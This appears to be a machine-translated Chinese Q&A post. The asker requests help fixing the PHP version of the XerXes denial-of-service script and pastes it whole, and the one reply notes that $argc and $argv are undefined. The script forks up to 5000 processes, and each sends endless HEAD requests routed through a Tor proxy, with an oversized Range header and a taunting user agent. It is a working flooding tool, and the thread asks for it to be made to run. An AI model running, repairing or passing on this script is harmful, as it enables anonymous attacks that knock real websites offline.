我最近进入了DOS攻击脚本(如何使用它们以及如何防御它们)并选择了一个名为XerXes的脚本。我注意到这已经用两种不同的语言编码.c和.php我都有。我可以得到.c一个完美的工作但不是.php一个因为我得到这个错误:
注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argc
注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argv
这是脚本:
<?php
function usage($argv) {
print "Usage: php ./{$argv[0]} <number of processes> <url>\n";
die();
}
function head($url) {
while(true) {
$header[] = "Connection: keep-alive";
$header[] = "Transfer-Encoding: chunked";
$header[] = "Range: bytes=0-,<SNIP>,1-1299"; //Sniped for site because it is BIG
$header[] = "Accept-Encoding: gzip, deflate, compress";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLINFO_HEADER_OUT, false);
curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
while(true) {
echo '.';
curl_setopt($ch, CURLOPT_USERAGENT, "XerXeS Attack Platform - 0wn3d bitch. TANGO DOWN (+http://th3j35t3r.wordpress.com/)");
curl_exec($ch);
}
curl_close($ch);
}
}
function main($argc, $argv) {
$status = 1;
if ($argc < 3) {
usage($argv);
}
if($argv[1] > 5001) {
echo "MAX OF 5000 threads\n\n";
die();
}
$pids = Array();
echo "URL: ".$argv[2]."\n";
for ($i = 0; $i < $argv[1]; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
die("ERROR");
}
else if ($pid == 0) {
head($argv[2]);
exit(0);
}
else {
$pids[] = $pid;
}
}
foreach ($pids as $pid) {
pcntl_waitpid($pid, $status);
}
}
main($argc, $argv); //Errors :(
?>
感谢您解决此错误的任何帮助。
请注意:为了安全起见,我不会使用这些代码来攻击我自己以外的服务器以及如何防御它们。我不推荐任何一次DDOS或DOS。
答案 0 :(得分:0)
您永远不会定义这两个变量。你想把什么传递给main()
函数?